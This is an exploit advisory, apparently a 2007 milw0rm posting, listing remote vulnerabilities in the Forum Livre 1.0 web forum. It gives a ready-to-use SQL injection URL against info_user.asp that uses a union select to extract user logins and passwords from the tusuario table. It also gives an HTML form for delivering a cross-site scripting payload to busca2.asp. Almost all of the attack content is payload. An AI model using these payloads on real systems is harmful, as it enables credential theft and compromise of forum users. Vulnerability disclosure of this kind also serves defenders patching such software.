47 lines
No EOL
1.1 KiB
Text
47 lines
No EOL
1.1 KiB
Text
*******************************************************************************
|
|
# Title : Forum Livre 1.0 Multiple Remote Vulnerabilities
|
|
# Author : ajann
|
|
# Contact : :(
|
|
# $$ : Free
|
|
|
|
*******************************************************************************
|
|
|
|
[[SQL]]]---------------------------------------------------------
|
|
|
|
Login Before..->
|
|
|
|
http://[target]/[path]//info_user.asp?user=[SQL]
|
|
|
|
Example:
|
|
|
|
//info_user.asp?user=-1'union%20select%200,0,0,loginu,senhau,0,0,0,0,0,0%20from%20tusuario
|
|
|
|
[[/SQL]]
|
|
|
|
[[XSS]]]---------------------------------------------------------
|
|
|
|
Login Before..->
|
|
|
|
http://[target]/[path]//busca2.asp (POST Method) [SQL]
|
|
|
|
Example:
|
|
|
|
<form method="POST" action="http://[TARGET]/[path]/busca2.asp">
|
|
<input type="text" name="palavra" value="[#]XSS HERE[#]">
|
|
<input type="radio" value="all" name="tipo" checked>
|
|
<input type="radio" value="some" name="tipo">
|
|
<select size="1" name="forum">
|
|
<option value="">Todos os fóruns</option>
|
|
<option value="">Fórum ComCatz</option>
|
|
<input type="submit" value="Investigar" name="B1">
|
|
</form>
|
|
|
|
[[/XSS]]
|
|
|
|
"""""""""""""""""""""
|
|
# ajann,Turkey
|
|
# ...
|
|
|
|
# Im not Hacker!
|
|
|
|
# milw0rm.com [2007-01-25] |